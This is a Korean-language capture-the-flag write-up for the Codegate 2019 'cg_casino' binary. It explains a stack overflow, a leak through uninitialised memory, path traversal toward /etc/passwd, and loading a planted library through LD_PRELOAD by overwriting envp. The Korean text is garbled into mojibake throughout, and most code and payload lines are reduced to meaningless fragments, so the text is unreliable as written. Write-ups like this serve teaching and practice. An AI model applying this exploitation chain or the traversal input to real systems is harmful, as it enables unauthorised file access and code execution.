Codegate CTF 2019 Quals - cg_casino
๋ชฉ์ฐจ
0x00. Introduction
)
Concept
)
)
)
)
)
)
>
์ธ ๊ฐ์ ์นด์ง๋
ธ ๊ฒ์๊ณผ put voucher์ merge voucher ๊ธฐ๋ฅ์ด ๊ตฌํ๋์ด์๋ค.
0x01. Vulnerability
Stack Overflow
void __fastcall __noreturn
๋จผ์ voucher๋ฅผ putํ๊ฑฐ๋ mergeํ๊ธฐ ์ํด voucher ์ด๋ฆ์ ์
๋ ฅ๋ฐ๋๋ฐ, read_401108()์์ ์
๋ ฅ์ ๋ฐ๊ฒ ๋๋ค.
unsigned __int64 __fastcall
๊ทธ๋ฐ๋ฐ ์
๋ ฅ์ \n์ด ๋์ฌ ๋๊น์ง 1๋ฐ์ดํธ์ฉ ๋์์ด ๋ฐ๊ธฐ ๋๋ฌธ์ stack์ ๋๊น์ง overflow๊ฐ ๋ฐ์ํ๋ค.
ํ์ง๋ง main()์์ return์ ํ๋ ๋ถ๋ถ ์์ด ๋ฐ๋ก exit()์ ํ๊ธฐ ๋๋ฌธ์ RIP control์ ์ด๋ ค์ ๋ณด์ธ๋ค.
Stack Leak
๋์ ๋ถ์์ ํ๋ค๊ฐ ์ฐ์ฐํ ์ป์ด๊ฑธ๋ ธ๋๋ฐ, lotto_4011A7()์์ ์ด๊ธฐํ๋์ง ์์ ๋ฐ์ดํฐ์ leak์ด ๊ฐ๋ฅํ๋ค.
unsigned __int64
์๋๋ ๋จ์ํ 0~44 ๋ฒ์์ ๋๋ค ์ซ์ 6๊ฐ๋ฅผ ์์ฑํด์ ์ ์ฅํ ํ, guess ๋ฐฐ์ด์ ๊ฐ์ ์
๋ ฅํด์ ๋ง์ถ๋ ๊ฒ์์ด๋ค.
๊ทธ๋ฐ๋ฐ guess ๊ฐ์ผ๋ก %u ํ์์ ๋ง์ง ์๋, ๊ฐ๋ น a๊ฐ ์
๋ ฅ๋๋ฉด scanf๊ฐ ์คํจํ๊ณ ๊ธฐ์กด์ ์ ์ฅ๋์ด์๋ guess์ ๊ฐ์ ์ถ๋ ฅํด์ค๋ค.
===================
| | | | | | |
===================
File Copy
์ฌ์ค ์ทจ์ฝ์ ์ด๋ผ๊ธฐ๋ณด๋ค๋ ๋ฐ์ด๋๋ฆฌ์ ์ฃผ์ด์ง ๊ธฐ๋ฅ์ธ๋ฐ, merge voucher์์ ๋ค์ ํจ์๊ฐ ํธ์ถ๋๋ค.
unsigned __int64 __fastcall
put voucher๋ฅผ ํตํด์ stack์ new์ ํ์ผ๋ช
์ ์ง์ ํด๋๋ฉด, ํ์ผ๋ช
์ด 32๋ฐ์ดํธ์ธ ํ์ผ์ /home/cg_casino/voucher/ ๋๋ ํ ๋ฆฌ๋ก ์ฎ๊ธธ ์ ์๋ค. ์
๋ ฅํ ๋ด์ฉ์ ๋ํ ๊ฒ์ฆ์ด ๋ฐ๋ก ์์ผ๋ฏ๋ก ๊ธธ์ด ์ ํ์ ../, ./๋ฅผ ์ ์กฐํฉํด์ ์ฐํํ ์ ์๋ค.
../../../../../../././etc/passwd
0x02. Exploit
File Drop
์ทจ์ฝ์ ์ ์ด๊ฒ ๋์ธ๋ฐ, ๋ฌธ์ ๋ ํ์ผ์ ์๋ฒ์ ์ฌ๋ฆด ๋ฐฉ๋ฒ์ด ์๋ค. ์ด๋ป๊ฒ๋ ํ์ผ์ ์๋ฒ์ ์ฌ๋ฆฐ ๋ค์ merge voucher ๊ธฐ๋ฅ์ ์ด์ฉํด์ ํ์ผ์ /home/cg_casino/voucher/ ๊ฒฝ๋ก๋ก ์ฎ๊ธด ํ ๋ค์ ๋จ๊ณ๋ก ๋์ด๊ฐ์ผํ ๊ฒ ๊ฐ์๋ฐโฆ
๊ทธ๋ฌ๋ค๊ฐ /proc/self/environ ํ์ผ์์ ๋ค์ ๋ด์ฉ์ ๋ฐ๊ฒฌํ๋ค.
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=3197b44a52
1aERASER2=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA๋ docker-compose.yml ํ์ผ์์ ์ ์๋ ํ๊ฒฝ๋ณ์ ๊ฐ๋ค์ธ๋ฐ, ์๋ถ๋ถ์ ๋ค๋ฅธ ๋ด์ฉ์ผ๋ก ๋ฐ๋ ๊ฒ์ ๋ณด๋ ์คํ ์ค ๊ฐ์ ๋ฐ์ํ๋ ๊ฒ ๊ฐ์๋ค.
์ค์ ๋ก stack์ ๋์ ์๋ ํ๊ฒฝ๋ณ์๊น์ง ๊ฐ์ ๋ฎ์ด๋ณด๋ ๋ค์๊ณผ ๊ฐ์ด /proc/self/environ ํ์ผ์ด ๋ณ๊ฒฝ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
๋ฐ๋ผ์ ์ด๋ฐ ์์ผ๋ก stack์ ๊ฐ์ ์กฐ์ํด์ /proc/self/environ์ ํ์ผ์ ํํ๋ก ๋จ๊ธธ ์ ์๋ค.
Stack Overflow & File Copy
/proc/self/environ์ libc ๋ฐ์ดํฐ๋ฅผ ์ฐ๊ณ ๊ทธ๊ฒ์ /home/cg_casino/voucher๋ก ๊ฐ์ ธ์ค๊ธฐ ์ํ ์กฐ๊ฑด์ ์ด 3๊ฐ์ด๋ค.
- main์
new๊ฐ/home/cg_casino/voucher์ ์ ์ฅํ ํ์ผ๋ช ์ผ ๊ฒ - main์
old๊ฐ ๊ธธ์ด๊ฐ 32์ด๊ณ/proc/self/environํ์ผ์ ๊ฐ๋ฆฌํฌ ๊ฒ - stack ๋์ ํ๊ฒฝ๋ณ์๊ฐ ์ ์ฅ๋ ๊ณต๊ฐ์ libc ๋ฐ์ดํฐ๊ฐ ์ฐ์ฌ์ง ๊ฒ
๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ๊ตฌ์ฑํ๋ค.
= b
+= b *
+=
+= b *
ํํธ ์ด ๊ณผ์ ์์ read_401108()๋ฅผ ์ด์ฉํด์ ์
๋ ฅ์ ๋ฐ๊ธฐ ๋๋ฌธ์ libc์ \x0a๊ฐ ์์ผ๋ฉด ๋ฐ์ดํฐ๊ฐ ์งค๋ฆด ์ํ์ด ์๋ค. ์ค์ ๋ก๋ \x0a๊ฐ ์์ด์ ํน์๋ ํ๋ ๋ง์์ \x0b๋ก ๋ฐ๊ฟ๋ดค๋๋ฐ ๋คํํ libc๊ฐ ์ ์๋ํ๋ค.
=
=
๋ฐ๋ผ์ ์ payload๋ฅผ ์ถ๊ฐํด์ฃผ์ด์ผ ํ๋ค.
Small Libc
์ฌ๊ธฐ์์ ๋ฌธ์ ๊ฐ ํ๋ ๋ ์๋๋ฐ ํ๊ฒฝ๋ณ์ ์์ญ๋ ํ๋๊ฐ ์๊ธฐ ๋๋ฌธ์ merge voucher๋ก ๊ฐ์ ธ์ฌ ์ ์๋ ๋ฐ์ดํฐ ๊ธธ์ด๊ฐ ์ ํ๋์ด์๋ค.
๊ทธ๋์ 3432๋ณด๋ค ์์ libc๊ฐ ํ์ํ๋ฐ, ๋ค์ ์์ค์ฝ๋๋ฅผ Ubunut 16.04์์ ์ปดํ์ผํด์ ์ฌ์ด์ฆ๊ฐ ์์ libc๋ฅผ ๋ง๋ค ์ ์์๋ค.
// gcc -w -znorelro -s -fPIC -shared -nostdlib -o mylib.so mylib.c
void
Ubuntu 22.04์์๋ ๊ฐ์ ์ปดํ์ผ ์ต์
์ ์ค๋ ์ฌ์ด์ฆ๊ฐ ๊ฝค ํฐ๋ฐ, ์ปดํ์ผ๋ฌ ๋ฒ์ ์ ๋ฐ๋ผ์๋ ์ด๋ ๊ฒ ์ฐจ์ด๊ฐ ์ฌํ ์ ์๋ค๋ ์์๋ฌ์ผ๊ฒ ๋ค.
|
Stack Leak
์์ ํ์ธํ๋๋ก lotto_4011A7()์์ %u ํ์์ด ์๋ ๋ฐ์ดํฐ๋ฅผ ์
๋ ฅํ๋ฉด guess[i]์ ๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅํ ์ ์๋ค. guess๋ 6๊ฐ์ integer ๋ฐฐ์ด์ด๋ฏ๋ก ์ด 0x18 ๊ธธ์ด์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ์ธํ ์ ์๊ณ ์ด๊ธฐํ๋์ง ์์ ์ํ์์์ guess ๊ฐ์ ํ์ธํด๋ณด๋ฉด,
libc ์์ญ์ ์ฃผ์๊ฐ ๋จ์์๋๋ฐ ํ์ํ ์ฃผ์๊ฐ์ด ๋ญ์ง ์๊ฐํด๋ณด๋ฉด stack์ ์ฃผ์์ ๊ฐ๊น๋ค. ๋ฐ๋ผ์ ๋ค๋ฅธ ํจ์๋ฅผ ๋จผ์ ์คํํด์ $rsp+0x30 ์์ญ์ stack ์ฃผ์๋ฅผ ๋จ๊ธธ ์ ์๋์ง ํ์ธํด๋ณด์๋๋ฐ, up_down_40139E()์ ํธ์ถํ ๋ค lotto_4011A7()๋ฅผ ํธ์ถํ๋ฉด ๊ฐ๋ฅํ๋ค.
guess๋ integer์ด๋ฏ๋ก 3๋ฒ์งธ, 4๋ฒ์งธ ์
๋ ฅ์ ์ค ๋ โaโ๋ฅผ ์
๋ ฅํ๋ฉด 4๋ฐ์ดํธ์ฉ leak์ด ๊ฐ๋ฅํ๋ฏ๋ก, ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค.
=
=
=
= << 32 | + 0x40
Envp Overwrite
์ด์ ์์ ์คํํด์ฃผ๋ libc ํ์ผ์ /home/cg_casino/voucher์ ์์ฐฉ์์ผฐ์ผ๋, ์ด๊ฑธ ์คํ๋ง ์ํค๋ฉด ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์ํ๋ libc๋ฅผ ๋ก๋ํ๋ ํ
ํฌ๋์ผ๋ก LD_PRELOAD ํ๊ฒฝ๋ณ์๋ฅผ ์ด์ฉํ๋ ๋ฐฉ์์ด ์์ด์ ์ด๋ป๊ฒ ํ์ฉํ ์ง ๊ณ ๋ฏผํ๋ค.
ํ์ฌ libc์ on_unload()๋ฅผ ์ ์ํด๋์์ผ๋ฏ๋ก ๋ ๊ฐ์ง๋ฅผ ํ์ธํด์ผํ๋๋ฐ,
exit(0);์ ํตํด์๋on_unload()๊ฐ ํธ์ถ๋๋์ง- ํ๊ฒฝ๋ณ์๋ฅผ ์คํ ์ดํ์ ๋ณ๊ฒฝํด๋
LD_PRELOAD๊ฐ ์ ์ฉ๋๋์ง
ํ ์คํธ ์ฝ๋๋ฅผ ์์ฑํด์ 1๋ฒ์ ๊ฐ๋ฅํ ๊ฒ์ ํ์ธํ๋๋ฐ ์์ฝ๊ฒ๋ 2๋ฒ์ด ์ ์ฉ๋์ง ์์๋ค. ๋ฐ๋ผ์ ํ์ฌ ํ๋ก์ธ์ค์ ํ๊ฒฝ๋ณ์๋ฅผ ์กฐ์ํด๋๊ณ , ๊ทธ ํ๊ฒฝ๋ณ์๋ฅผ ๊ฐ์ ธ๋ค๊ฐ ์ฐ๋ ํ๋ก์ธ์ค๋ฅผ ์คํํ ์ ์์ด์ผ ํ๋ค.
๊ทธ๋ฌ๋ค๊ฐ slot_401477()์์ system("/usr/bin/clear");์ ์ฌ์ฉํ๋๋ฐ, ๋์ ๋ถ์์ ํ ๋ ๋ค์๊ณผ ๊ฐ์ ๋ฉ์ธ์ง๊ฐ ์ถ๋ ฅ๋ ๊ฒ์ด ๊ธฐ์ต๋ฌ๋ค.
||
=========================
| |
| | | | | | | |
| || || || |
=========================
||
ํ์ฌ ํ๋ก์ธ์ค์ธ cg_casino๋ ํ๊ฒฝ๋ณ์๊ฐ docker-compose.yml ํ์ผ์์ ERASER๋ฅผ ํตํด ๊ฐ์ด ๋ฐ๋ ค์๋ ์ํ์ด๋ค. ์ฌ๊ธฐ์์ system()์ ์ฌ์ฉํ ๋ ๋ด๋ถ์ ์ผ๋ก execve()๊ฐ ํธ์ถ๋๋๋ฐ ์ด ๊ณผ์ ์์ **envp๊ฐ ์ ๋ฌ๋๋ ๊ฒ ๊ฐ๋ค.
**envp๋ main()์ด ํธ์ถ๋ ๋ 3๋ฒ์งธ ์ธ์๋ก ์ ๋ฌ๋๊ณ , main()์ ์ด๋ฐ์์ ๋ค์๊ณผ ๊ฐ์ด $rbp-0x88์ ์ ์ฅ์ด ๋๋ค.
0x400ca6: push rbp
0x400ca7: mov rbp,rsp
0x400caa: sub rsp,0x90
0x400cb1: mov DWORD PTR [rbp-0x74],edi
0x400cb4: mov QWORD PTR [rbp-0x80],rsi
0x400cb8: mov QWORD PTR [rbp-0x88],rdx
์ด ์ํ์์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ฐ๋ผ๊ฐ๋ณด๋ฉด,
**envp(0x7fffffffdf28) -> *envp(0x7fffffffe0a8) -> first env(0x7fffffffe276)` ํ์์ผ๋ก ๊ตฌ์ฑ๋์ด์๋ค.
๋ฐ๋ผ์ ์ด ๊ตฌ์ฑ์ ์ ๋ฐ๋ฅด๋, *envp์ ๋์๋ null์ ๊ผญ ๋ฃ์ด์ฃผ์ด์ผ ํ๋ค.
= b *
+=
+= b *
+=
+= b *
+= b
๋ฌธ์ ๋ ์ฌ๊ธฐ์ ํ๊ฒฝ๋ณ์๊ฐ stack์ ๋์๋ฝ์ ์์นํ๊ฒ ๋๋๋ฐ, ์ด offset์ด ์ผ์ ํ์ง ์์์ ํ๋ฅ ์ด์๊ฐ ๋ฐ์ํ๋ค. ์ฐจ์ด๋ฅผ ๊ณ์ ์ฒดํฌํด๋ณด๋ 0xXX0 ์ ๋ ์ฐจ์ด๊ฐ ๋๋ ๊ฒ์ผ๋ก ๋ณด์ 1/256 ํ๋ฅ ๋ก exploit์ด ์ฑ๊ณตํ ๊ฒ ๊ฐ๋ค.
0x03. Payload
= False
=
=
=
= f
=
return
return
return
return
=
=
=
=
=
=
=
=
=
= << 32 | + 0x40
= + 0x1796
= + 0x326
= + 0x158
= + 0xe8
= b
+= b *
+=
+= b *
= b *
+=
+= b *
+=
+= b *
+= b